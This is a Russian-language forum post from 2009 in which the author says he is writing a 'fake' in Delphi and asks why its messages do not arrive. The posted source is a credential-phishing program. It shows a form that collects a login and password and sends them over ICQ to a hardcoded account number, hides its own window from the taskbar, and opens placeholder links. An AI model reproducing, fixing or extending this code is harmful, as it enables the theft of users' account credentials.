| heretic1990 |
23.11.2009 22:33 |
проблемы с отсылкой сообщений в TICQClient
вот пишу фейк и столкнулся с такой проблемой:
не приходит сообщение.
UIN и пароль правильны, аська (моя) куда должно приходить тоже.
если залогиниться на аську с которой надо отсылать у неё в контакт листе появляется мой нум.
Так почему не приходит сообщение?
в Delphi я не очень силён помогите.
пример кода
Код:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls, XPMan, ICQClient, ShellAPI, CoolTrayIcon,
Menus;
type
TForm1 = class(TForm)
Edit1: TEdit;
Edit2: TEdit;
XPManifest1: TXPManifest;
CheckBox1: TCheckBox;
Button1: TButton;
Label5: TLabel;
ICQClient1: TICQClient;
CoolTrayIcon1: TCoolTrayIcon;
Timer1: TTimer;
Image1: TImage;
CheckBox2: TCheckBox;
MainMenu1: TMainMenu;
prog1: TMenuItem;
N1: TMenuItem;
N2: TMenuItem;
N3: TMenuItem;
N4: TMenuItem;
N5: TMenuItem;
prog2: TMenuItem;
N6: TMenuItem;
Label1: TLabel;
procedure Label1MouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
procedure Label1MouseLeave(Sender: TObject);
procedure Label5MouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
procedure Label5MouseLeave(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Label1Click(Sender: TObject);
procedure Label5Click(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure N4Click(Sender: TObject);
procedure N5Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
uses Unit2;
{$R *.dfm}
procedure TForm1.Label1MouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
begin
label1.Font.Color:= clBlue;
end;
procedure TForm1.Label1MouseLeave(Sender: TObject);
begin
label1.Font.Color:= clNavy;
end;
procedure TForm1.Label5MouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
begin
label5.Font.Color:= clBlue;
end;
procedure TForm1.Label5MouseLeave(Sender: TObject);
begin
label5.Font.Color:= clNavy;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
icqclient1.Login();
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
icqclient1.SendMessage(123456789, 'Login: ' + Edit1.Text + ' Password: ' + Edit2.Text);
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
Close;
end;
procedure TForm1.N5Click(Sender: TObject);
begin
ShellExecute(Application.Handle, 'open', PChar('http://ссыль'), nil, '', SW_SHOWNORMAL);
end;
procedure TForm1.N4Click(Sender: TObject);
begin
ShellExecute(Application.Handle, 'open', PChar('http://ссыль'), nil, '', SW_SHOWNORMAL);
end;
procedure TForm1.Label1Click(Sender: TObject);
begin
ShellExecute(Application.Handle, 'open', PChar('https://ссыль'), nil, '', SW_SHOWNORMAL);
end;
procedure TForm1.Label5Click(Sender: TObject);
begin
ShellExecute(Application.Handle, 'open', PChar('http://ссыль/'), nil, '', SW_SHOWNORMAL);
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
ShowWindow(application.Handle,SW_HIDE);
timer1.Enabled:= False;
end;
end.
|
